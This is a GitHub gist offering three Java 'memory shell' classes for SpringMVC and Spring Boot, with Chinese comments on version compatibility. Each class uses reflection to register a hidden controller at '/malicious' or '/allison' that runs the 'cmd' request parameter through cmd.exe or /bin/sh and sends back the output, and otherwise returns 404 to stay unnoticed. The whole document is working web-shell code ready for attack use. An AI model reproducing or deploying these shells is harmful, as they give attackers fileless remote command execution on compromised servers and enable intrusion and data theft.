Created
April 8, 2022 15:07
-
-
Save fa1c0n1/e0f7a47f3ed4f4e5cd96ec1f1381f3ec to your computer and use it in GitHub Desktop.
Three Controller-Type MemShells for SpringMVC.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.springframework.web.context.WebApplicationContext; | |
import org.springframework.web.context.request.RequestContextHolder; | |
import org.springframework.web.context.request.ServletRequestAttributes; | |
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; | |
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; | |
import org.springframework.web.servlet.mvc.method.RequestMappingInfo; | |
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.http.HttpServletResponse; | |
import java.io.IOException; | |
import java.io.PrintWriter; | |
import java.lang.reflect.Method; | |
/** | |
* 适用于 SpringMVC+Tomcat的环境,以及Springboot < 2.6.0环境 | |
* Springboot 1.x 和 3.x 版本未进行测试 | |
*/ | |
public class SpringControllerMemShell { | |
public SpringControllerMemShell() { | |
try { | |
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); | |
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); | |
Method method2 = SpringControllerMemShell.class.getMethod("test"); | |
PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); | |
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); | |
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); | |
SpringControllerMemShell springControllerMemShell = new SpringControllerMemShell("aaa"); | |
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); | |
} catch (Exception e) { | |
} | |
} | |
public SpringControllerMemShell(String aaa) { | |
} | |
public void test() throws IOException { | |
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); | |
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); | |
try { | |
String arg0 = request.getParameter("cmd"); | |
PrintWriter writer = response.getWriter(); | |
if (arg0 != null) { | |
String o = ""; | |
ProcessBuilder p; | |
if (System.getProperty("os.name").toLowerCase().contains("win")) { | |
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); | |
} else { | |
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); | |
} | |
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); | |
o = c.hasNext() ? c.next() : o; | |
c.close(); | |
writer.write(o); | |
writer.flush(); | |
writer.close(); | |
} else { | |
response.sendError(404); | |
} | |
} catch (Exception e) { | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.springframework.web.bind.annotation.RequestMethod; | |
import org.springframework.web.context.WebApplicationContext; | |
import org.springframework.web.context.request.RequestContextHolder; | |
import org.springframework.web.context.request.ServletRequestAttributes; | |
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; | |
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; | |
import org.springframework.web.servlet.mvc.method.RequestMappingInfo; | |
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.http.HttpServletResponse; | |
import java.io.IOException; | |
import java.io.PrintWriter; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Method; | |
/** | |
* 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境. | |
* 因此比 SpringControllerMemShell.java 更加通用 | |
* Springboot 1.x 和 3.x 版本未进行测试 | |
*/ | |
public class SpringControllerMemShell2 { | |
public SpringControllerMemShell2() { | |
try { | |
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); | |
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); | |
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); | |
configField.setAccessible(true); | |
RequestMappingInfo.BuilderConfiguration config = | |
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); | |
Method method2 = SpringControllerMemShell2.class.getMethod("test"); | |
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); | |
RequestMappingInfo info = RequestMappingInfo.paths("/allison") | |
.options(config) | |
.build(); | |
SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa"); | |
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); | |
} catch (Exception e) { | |
} | |
} | |
public SpringControllerMemShell2(String aaa) { | |
} | |
public void test() throws IOException { | |
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); | |
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); | |
try { | |
String arg0 = request.getParameter("cmd"); | |
PrintWriter writer = response.getWriter(); | |
if (arg0 != null) { | |
String o = ""; | |
ProcessBuilder p; | |
if (System.getProperty("os.name").toLowerCase().contains("win")) { | |
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); | |
} else { | |
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); | |
} | |
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); | |
o = c.hasNext() ? c.next() : o; | |
c.close(); | |
writer.write(o); | |
writer.flush(); | |
writer.close(); | |
} else { | |
response.sendError(404); | |
} | |
} catch (Exception e) { | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.omg.CORBA.Request; | |
import org.springframework.web.bind.annotation.RequestMapping; | |
import org.springframework.web.context.WebApplicationContext; | |
import org.springframework.web.context.request.RequestContextHolder; | |
import org.springframework.web.context.request.ServletRequestAttributes; | |
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; | |
import org.springframework.web.servlet.mvc.method.RequestMappingInfo; | |
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.http.HttpServletResponse; | |
import java.io.IOException; | |
import java.io.PrintWriter; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Method; | |
/** | |
* 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境. | |
* 因此比 SpringControllerMemShell.java 更加通用 | |
* Springboot 1.x 和 3.x 版本未进行测试 | |
*/ | |
public class SpringControllerMemShell3 { | |
public SpringControllerMemShell3() { | |
try { | |
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); | |
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); | |
Method method2 = SpringControllerMemShell3.class.getMethod("test"); | |
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); | |
Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class); | |
getMappingForMethod.setAccessible(true); | |
RequestMappingInfo info = | |
(RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class); | |
SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa"); | |
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); | |
} catch (Exception e) { | |
} | |
} | |
public SpringControllerMemShell3(String aaa) { | |
} | |
@RequestMapping("/allison") | |
public void test() throws IOException { | |
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); | |
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); | |
try { | |
String arg0 = request.getParameter("cmd"); | |
PrintWriter writer = response.getWriter(); | |
if (arg0 != null) { | |
String o = ""; | |
ProcessBuilder p; | |
if (System.getProperty("os.name").toLowerCase().contains("win")) { | |
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); | |
} else { | |
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); | |
} | |
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); | |
o = c.hasNext() ? c.next() : o; | |
c.close(); | |
writer.write(o); | |
writer.flush(); | |
writer.close(); | |
} else { | |
response.sendError(404); | |
} | |
} catch (Exception e) { | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment